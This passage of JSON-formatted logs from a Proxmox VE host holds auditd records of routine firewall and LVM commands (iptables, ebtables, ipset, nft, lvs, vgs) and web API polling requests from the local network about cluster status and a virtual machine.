exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625691,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.691:66408): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966151697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965314916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965314.916:65069): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1bd0400 a1=64f8d73c6ad0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62502 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.402:61440): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1396f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625684,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.684:66407): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966151697,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965312545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.545:65068): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955930 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62501 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535396,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.396:61439): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1353a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625675,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.675:66406): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966149813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965312534,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965312.534:65065): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.389:61438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625667,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.667:66405): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966149813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965307522,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.522:65062): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535382,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.382:61437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1353a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.663:66404): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966149813,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965307510,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965307.510:65059): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.377:61436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbbca54b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.655:66403): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966149813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781965305783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.783:65056): arch=c000003e syscall=59 success=yes exit=0 a0=5f38e869d0a0 a1=5f38e8699e20 a2=5f38e867b680 a3=5 items=2 ppid=62491 pid=62497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.370:61435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625654,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.654:66402): argc=1 a0=\"date\""} {"@timestamp":1781966147792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.780:65055): arch=c000003e syscall=59 success=yes exit=0 a0=5f38db309ac8 a1=7ffd8939f0d0 a2=5f38e867b680 a3=5f38db2ed24e items=2 ppid=62491 pid=62493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.364:61434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.650:66400): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966147792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781965305780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.780:65054): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8939f090 a1=5f38e8682310 a2=5f38e867b680 a3=5 items=2 ppid=62491 pid=62492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.361:61433): arch=c000003e syscall=59 success=yes exit=0 a0=558f63d9eed0 a1=558f63d9bc50 a2=558f63d7d680 a3=5 items=2 ppid=58968 pid=58974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625638,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.638:66399): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966147792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965305775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.775:65052): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0edc80 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.358:61432): arch=c000003e syscall=59 success=yes exit=0 a0=558f50863ac8 a1=7fff7085d050 a2=558f63d7d680 a3=558f5084724e items=2 ppid=58968 pid=58970 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625629,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.629:66398): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966146775,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965305767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.767:65051): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0edc80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.357:61431): arch=c000003e syscall=59 success=yes exit=0 a0=7fff7085d010 a1=558f63d84310 a2=558f63d7d680 a3=5 items=2 ppid=58968 pid=58969 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625615,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.615:66397): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966146775,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965305760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.760:65050): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535352,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.352:61429): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58968 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.603:66396): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966146775,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1132"} {"@timestamp":1781965305752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.752:65049): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535346,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.346:61428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625582,"@rawstring":"node=pve type=EXECVE msg=audit(1781965625.582:66395): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966145751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781965305744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.744:65048): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535340,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.340:61427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624822,"@rawstring":"node=pve type=EXECVE msg=audit(1781965624.822:66394): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966143747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965305742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.742:65047): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=643f28619740 items=0 ppid=1156 pid=62486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964535336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.336:61426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965624792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965624.792:66393): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966143747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781965305738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.738:65046): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.330:61425): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eb320 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=EXECVE msg=audit(1781965623.715:66392): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966143747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781965305734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.734:65045): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fbb50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964535323,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.323:61424): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e4170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965623706,"@rawstring":"node=pve type=EXECVE msg=audit(1781965623.706:66389): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966143747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965305728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.728:65044): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc140570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964534742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.742:61423): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965618698,"@rawstring":"node=pve type=EXECVE msg=audit(1781965618.698:66386): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966143747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965305722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.722:65043): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d5f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964534733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.733:61420): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965618690,"@rawstring":"node=pve type=EXECVE msg=audit(1781965618.690:66383): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966142737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965305716,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.716:65042): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964534216,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.216:61417): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcae0 a1=64f8d73de810 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615553,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.553:66380): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966140845,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965305710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.710:65041): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964534186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.186:61416): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecb970 a1=64f8d73bb2e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615548,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.548:66379): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966140845,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781965305702,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.702:65040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964529724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.724:61415): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615547,"@rawstring":"node=pve type=EXECVE msg=audit(1781965615.547:66378): argc=1 a0=\"date\""} {"@timestamp":1781966139731,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965305696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965305.696:65039): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964529709,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.709:61412): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58955 